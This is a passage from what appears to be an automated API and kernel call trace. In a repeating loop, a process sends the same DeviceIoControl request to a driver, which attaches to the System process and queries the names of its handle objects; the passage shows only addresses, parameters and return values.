Process=0xfffff88005000558) returned 0x0 [0130.021] PsAcquireProcessExitSynchronization () returned 0x0 [0130.021] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.021] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0130.021] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.021] PsReleaseProcessExitSynchronization () returned 0x2 [0130.021] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.021] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.021] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0130.021] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.021] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.021] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0130.021] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.021] PsAcquireProcessExitSynchronization () returned 0x0 [0130.021] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.022] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0130.022] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.022] PsReleaseProcessExitSynchronization () returned 0x2 [0130.022] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.022] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.022] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0130.022] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.022] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.022] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0130.022] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.022] PsAcquireProcessExitSynchronization () returned 0x0 [0130.022] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.022] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0130.022] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.022] PsReleaseProcessExitSynchronization () returned 0x2 [0130.022] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.022] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.022] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0130.022] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.022] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.022] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.022] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.022] PsAcquireProcessExitSynchronization () returned 0x0 [0130.022] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.022] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0130.022] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.022] PsReleaseProcessExitSynchronization () returned 0x2 [0130.023] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.023] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.023] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0130.023] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.023] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.023] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.023] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.023] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.023] PsAcquireProcessExitSynchronization () returned 0x0 [0130.023] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.023] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0130.023] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.023] PsReleaseProcessExitSynchronization () returned 0x2 [0130.023] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.023] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.023] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0130.023] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.023] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.023] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.023] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0130.023] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.023] PsAcquireProcessExitSynchronization () returned 0x0 [0130.023] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.023] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0130.023] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.023] PsReleaseProcessExitSynchronization () returned 0x2 [0130.023] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.023] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.023] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0130.023] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.023] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.024] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0130.024] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.024] PsAcquireProcessExitSynchronization () returned 0x0 [0130.024] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.024] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0130.024] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.024] PsReleaseProcessExitSynchronization () returned 0x2 [0130.024] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.024] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.024] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0130.024] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.024] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.024] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0130.024] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.024] PsAcquireProcessExitSynchronization () returned 0x0 [0130.024] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.024] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0130.024] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.024] PsReleaseProcessExitSynchronization () returned 0x2 [0130.024] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.024] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.024] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0130.024] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.024] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.024] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0130.024] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.024] PsAcquireProcessExitSynchronization () returned 0x0 [0130.024] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.024] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0130.024] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.024] PsReleaseProcessExitSynchronization () returned 0x2 [0130.024] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.025] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.025] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0130.025] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.025] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.025] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0130.025] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.025] PsAcquireProcessExitSynchronization () returned 0x0 [0130.025] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.025] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0130.025] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.025] PsReleaseProcessExitSynchronization () returned 0x2 [0130.025] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.025] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.025] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0130.025] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.025] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.025] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0130.025] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.025] PsAcquireProcessExitSynchronization () returned 0x0 [0130.025] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.025] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0130.025] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.025] PsReleaseProcessExitSynchronization () returned 0x2 [0130.025] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.025] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.025] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0130.025] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.025] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.025] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0130.025] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.025] PsAcquireProcessExitSynchronization () returned 0x0 [0130.026] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.026] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0130.026] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.026] PsReleaseProcessExitSynchronization () returned 0x2 [0130.026] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.026] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.026] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0130.026] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.026] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.026] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.026] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.026] PsAcquireProcessExitSynchronization () returned 0x0 [0130.026] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.026] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0130.026] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.026] PsReleaseProcessExitSynchronization () returned 0x2 [0130.026] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.026] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.026] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0130.026] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.026] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.026] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0130.026] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.026] PsAcquireProcessExitSynchronization () returned 0x0 [0130.026] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.026] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0130.026] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.027] PsReleaseProcessExitSynchronization () returned 0x2 [0130.027] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.027] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.027] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0130.027] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.027] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.027] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0130.027] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.027] PsAcquireProcessExitSynchronization () returned 0x0 [0130.027] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.027] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0130.027] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.027] PsReleaseProcessExitSynchronization () returned 0x2 [0130.027] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.027] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.027] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0130.027] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.027] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.027] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0130.027] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.027] PsAcquireProcessExitSynchronization () returned 0x0 [0130.027] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.027] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0130.027] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.027] PsReleaseProcessExitSynchronization () returned 0x2 [0130.027] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.027] ObQueryNameString 